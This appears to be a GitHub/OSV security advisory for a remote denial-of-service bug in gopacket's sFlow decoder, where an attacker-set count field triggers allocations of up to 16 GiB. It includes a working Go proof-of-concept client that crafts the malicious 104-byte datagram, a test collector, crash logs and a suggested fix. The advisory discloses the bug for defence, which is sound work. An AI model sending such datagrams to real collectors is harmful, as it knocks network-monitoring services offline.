{ "schema_version": "1.4.0", "id": "GHSA-g6v3-7xmc-w563", "modified": "2026-07-28T16:17:26Z", "published": "2026-07-28T16:17:26Z", "aliases": [ "CVE-2026-54332" ], "summary": "GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -> up to 16 GiB make) -> unauthenticated remote DoS", "details": "## Summary\n\nThe sFlow `ExtendedGatewayFlow` record decoder in `github.com/gopacket/gopacket` allocates a slice with `make([]uint32, n)` where `n` is an attacker-controlled 32-bit wire field that has no upper bound. Because the allocation happens *before* the read loop that would consume the corresponding bytes, a single small UDP datagram can force a multi-gigabyte allocation. A 104-byte sFlow datagram can request up to 16 GiB and OOM-kill any service that parses sFlow with gopacket. This is an unauthenticated remote denial of service (CWE-770).\n\n## Root cause (file:line @ v1.6.0)\n\nTwo sinks in `layers/sflow.go`, both in the `ExtendedGatewayFlow` (record type 1003) decode path:\n\n1. `layers/sflow.go:1306` in `decodeExtendedGatewayFlowRecord`:\n```go\n*data, communitiesLength = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])\neg.Communities = make([]uint32, communitiesLength) // communitiesLength is a raw wire uint32, no bound\nfor j := uint32(0); j < communitiesLength; j++ { ... }\n```\n\n2. `layers/sflow.go:1276` in `decodePath` (a helper called from the same record decoder):\n```go\n*data, ad.Count = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])\nad.Members = make([]uint32, ad.Count) // ad.Count is a raw wire uint32, no bound\nfor i := uint32(0); i < ad.Count; i++ { ... }\n```\n\nIn both cases the `make` is executed before the loop that reads the element bytes, so the allocation size is fully determined by the attacker-supplied count field and is never checked against the number of bytes actually remaining in the packet. `communitiesLength = 0xFFFFFFFF` requests `make([]uint32, 4294967295)` = 16,384 MB (16 GiB).\n\n## Reachability (remote attacker -> sink)\n\nThe registered `LayerTypeSFlow` decoder parses sFlow datagrams from the wire:\n\n`SFlowDatagram.DecodeFromBytes` (sflow.go:302) -> `SampleCount` loop -> `decodeFlowSample(expanded=false)` (sflow.go:458) -> `RecordCount` loop -> record format 1003 `SFlowTypeExtendedGatewayFlow` (sflow.go:573) -> `decodeExtendedGatewayFlowRecord` (sflow.go:1284) -> sink at line 1306 (and line 1276 via the `ASPath` -> `decodePath` branch).\n\nsFlow is a UDP-based network-telemetry protocol; collectors built on gopacket process datagrams sent (or forwarded by switches/routers) from the network. No authentication is involved, so any host that can deliver a UDP packet to such a collector can trigger the sink. The same record reached via `gopacket.NewPacket(data, LayerTypeSFlow, gopacket.Default)` is equally affected.\n\n## Impact\n\nUnauthenticated remote denial of service via memory exhaustion. A single 104-byte datagram drives an allocation of up to 16 GiB, OOM-killing the parsing process. There is no memory corruption and no code execution — the impact is process termination / resource exhaustion. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).\n\n## Proof of Concept\n\nThis PoC is an end-to-end test against a real deployed sFlow collector. A minimal\nbut realistic UDP collector (built on the public gopacket API, exactly as a real\nnetwork-telemetry collector would be) runs inside a hard-capped 256 MB container;\nan independent client process sends a real malicious sFlow datagram over a real\nUDP socket; the collector process is then observed to die. A benign datagram is\nused as a negative control.\n\nThe harness pins `github.com/gopacket/gopacket@v1.6.0` (the sink is confirmed at\nthe v1.6.0 tag, `layers/sflow.go:1306`).\n\n### Collector (real UDP sFlow collector)\n\n```go\n// collector.go — binds a UDP socket and, for every datagram, builds a\n// gopacket.Packet rooted at LayerTypeSFlow and accesses the layer, which drives\n// the registered sFlow decoder over the attacker-controlled bytes.\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\n\t\"github.com/gopacket/gopacket\"\n\t\"github.com/gopacket/gopacket/layers\"\n)\n\nfunc main() {\n\tudpAddr, _ := net.ResolveUDPAddr(\"udp4\", \"0.0.0.0:6343\")\n\tconn, err := net.ListenUDP(\"udp4\", udpAddr)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"listen error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer conn.Close()\n\tfmt.Printf(\"[collector] sFlow collector listening on udp %s\\n\", conn.LocalAddr())\n\n\tbuf := make([]byte, 65535)\n\tfor {\n\t\tn, src, err := conn.ReadFromUDP(buf)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tdatagram := make([]byte, n)\n\t\tcopy(datagram, buf[:n])\n\t\tfmt.Printf(\"[collector] received %d-byte datagram from %s\\n\", n, src)\n\t\tpkt := gopacket.NewPacket(datagram, layers.LayerTypeSFlow, gopacket.Default)\n\t\tif dg, ok := pkt.Layer(layers.LayerTypeSFlow).(*layers.SFlowDatagram); ok {\n\t\t\tfmt.Printf(\"[collector] decoded sFlow datagram: version=%d samples=%d flowSamples=%d\\n\",\n\t\t\t\tdg.DatagramVersion, dg.SampleCount, len(dg.FlowSamples))\n\t\t} else {\n\t\t\tfmt.Printf(\"[collector] no sFlow layer decoded\\n\")\n\t\t}\n\t}\n}\n```\n\n### Client (independent process, real UDP socket, no gopacket dependency)\n\nThe client crafts a well-formed sFlow v5 datagram with one FlowSample carrying\none ExtendedGatewayFlow (record type 1003) record and sets only its\n`communitiesLength` field. For the benign case it appends real community words\nplus the trailing LocalPref word so the record decodes cleanly.\n\n```go\n// client.go — usage: client [--benign]\npackage main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n)\n\nfunc u32(b *[]byte, v uint32) {\n\tt := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(t, v)\n\t*b = append(*b, t...)\n}\n\nfunc buildDatagram(commLen uint32, benign bool) []byte {\n\tvar d []byte\n\tu32(&d, 5); u32(&d, 1); u32(&d, 0x7f000001); u32(&d, 0); u32(&d, 0); u32(&d, 0)\n\tu32(&d, 1) // SampleCount = 1\n\tu32(&d, 1) // sample format -> FlowSample\n\tu32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0)\n\tu32(&d, 1) // RecordCount = 1\n\tu32(&d, 1003) // record format -> ExtendedGatewayFlow\n\tu32(&d, 0) // FlowDataLength\n\tu32(&d, 1) // gateway address type = IPv4\n\tu32(&d, 0x08080808) // NextHop\n\tu32(&d, 0); u32(&d, 0); u32(&d, 0)\n\tu32(&d, 0) // ASPathCount = 0\n\tu32(&d, commLen) // communitiesLength -> make([]uint32, commLen) sink\n\tif benign {\n\t\tfor i := uint32(0); i < commLen; i++ {\n\t\t\tu32(&d, 0xABCD0000+i)\n\t\t}\n\t\tu32(&d, 100) // trailing LocalPref word\n\t}\n\treturn d\n}\n\nfunc main() {\n\taddr := os.Args[1]\n\tcommLen, _ := strconv.ParseUint(os.Args[2], 10, 32)\n\tbenign := len(os.Args) > 3 && os.Args[3] == \"--benign\"\n\tdata := buildDatagram(uint32(commLen), benign)\n\traddr, _ := net.ResolveUDPAddr(\"udp\", addr)\n\tconn, _ := net.DialUDP(\"udp\", nil, raddr)\n\tdefer conn.Close()\n\tconn.Write(data)\n\tfmt.Printf(\"[client] sent %d-byte sFlow datagram (communitiesLength=%d, benign=%v)\\n\",\n\t\tlen(data), commLen, benign)\n}\n```\n\n### Run and observed result\n\nThe collector runs under a hard 256 MB cgroup cap with swap disabled\n(`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and\nthe host is unaffected.\n\nNegative control (benign datagram, `communitiesLength=4`):\n\n```\n$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4 --benign\n[client] sent 124-byte sFlow datagram (communitiesLength=4, benign=true)\n\n# collector log:\n[collector] received 124-byte datagram from 172.18.0.3:56438\n[collector] decoded sFlow datagram: version=5 samples=1 flowSamples=1\n# collector status: Up (ALIVE); RSS flat at 1.5 MiB\n```\n\nAttack (single malicious datagram, `communitiesLength=0xFFFFFFFF`):\n\n```\n$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4294967295\n[client] this datagram instructs the decoder to make([]uint32, 4294967295) = 16384 MB\n[client] datagram sent over real UDP socket\n\n# collector log (verbatim):\n[collector] received 104-byte datagram from 172.18.0.3:42284\nfatal error: runtime: out of memory\n\nruntime stack:\nruntime.throw(...)\nruntime.sysMapOS(0x61585e800000, 0x400000000, ...) // 0x400000000 = 16 GiB requested\nruntime.makeslice(...)\n\t/usr/local/go/src/runtime/slice.go:117\ngithub.com/gopacket/gopacket/layers.decodeExtendedGatewayFlowRecord(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:1306\ngithub.com/gopacket/gopacket/layers.decodeFlowSample(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:574\ngithub.com/gopacket/gopacket/layers.(*SFlowDatagram).DecodeFromBytes(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:321\ngithub.com/gopacket/gopacket.NewPacket(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/packet.go:767\nmain.main()\n\t/src/collector.go:54\n\n# container final state:\nStatus=exited OOMKilled=false ExitCode=2\n```\n\nA single 104-byte UDP datagram, delivered over a real socket to a real\ngopacket-based collector, terminates the collector process. The Go runtime tries\nto `sysMapOS` 0x400000000 (16 GiB) into the 256 MB cgroup, the mapping is denied,\nand the runtime aborts with `fatal error: runtime: out of memory` (exit 2). The\nfull attacker -> sink call stack is captured: `collector.go:54`\n(`gopacket.NewPacket`) -> `SFlowDatagram.DecodeFromBytes` -> `decodeFlowSample`\n(sflow.go:574) -> `decodeExtendedGatewayFlowRecord` (sflow.go:1306) ->\n`makeslice` -> fatal OOM. The benign control on the same collector decodes\ncleanly and the process stays alive with flat RSS, confirming the\nattacker-controlled `communitiesLength` field is what drives the allocation.\n\nThe host is unaffected throughout: the allocation is contained by the 256 MB\ncgroup cap (no swap), and host swap stayed above 900 MB free across the run.\n\n## Affected versions\n\n`github.com/gopacket/gopacket` <= v1.6.0 (v1.6.0 is the latest release; HEAD == tag). Earlier versions carrying the same `layers/sflow.go` decode code are affected as well.\n\n## Suggested fix\n\nBefore each `make([]uint32, n)`, validate `n` against the number of bytes actually remaining in the datagram. Each element consumes 4 bytes on the wire, so a correct upper bound is `remaining_bytes / 4`; any count larger than that cannot be backed by real packet data and should be rejected with a decode error (matching the existing `errors.New` / `fmt.Errorf` error style in this file), rather than pre-allocating. This caps the allocation at roughly the datagram size and eliminates the amplification:\n\n- `decodeExtendedGatewayFlowRecord`: reject when `communitiesLength > uint32(len(*data)/4)` before `make([]uint32, communitiesLength)`.\n- `decodePath`: reject when `ad.Count > uint32(len(*data)/4)` before `make([]uint32, ad.Count)`, and propagate the error to the caller.\n\nI will follow up with a fix PR via the advisory's private fork.\n\n## References\n\n- sFlow Version 5 specification (https://sflow.org/sflow_version_5.txt), section on the extended_gateway flow_data record (communities / dst_as_path lists).\n- CWE-770: Allocation of Resources Without Limits or Throttling.", "severity": [ { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N" } ], "affected": [ { "package": { "ecosystem": "Go", "name": "github.com/gopacket/gopacket" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "1.6.1" } ] } ], "database_specific": { "last_known_affected_version_range": "<= 1.6.0" } } ], "references": [ { "type": "WEB", "url": "https://github.com/gopacket/gopacket/security/advisories/GHSA-g6v3-7xmc-w563" }, { "type": "WEB", "url": "https://github.com/gopacket/gopacket/commit/76119086f5936aacd7088bdf97d565501bb6c4cc" }, { "type": "PACKAGE", "url": "https://github.com/gopacket/gopacket" }, { "type": "WEB", "url": "https://github.com/gopacket/gopacket/releases/tag/v1.6.1" } ], "database_specific": { "cwe_ids": [ "CWE-770" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2026-07-28T16:17:26Z", "nvd_published_at": null } }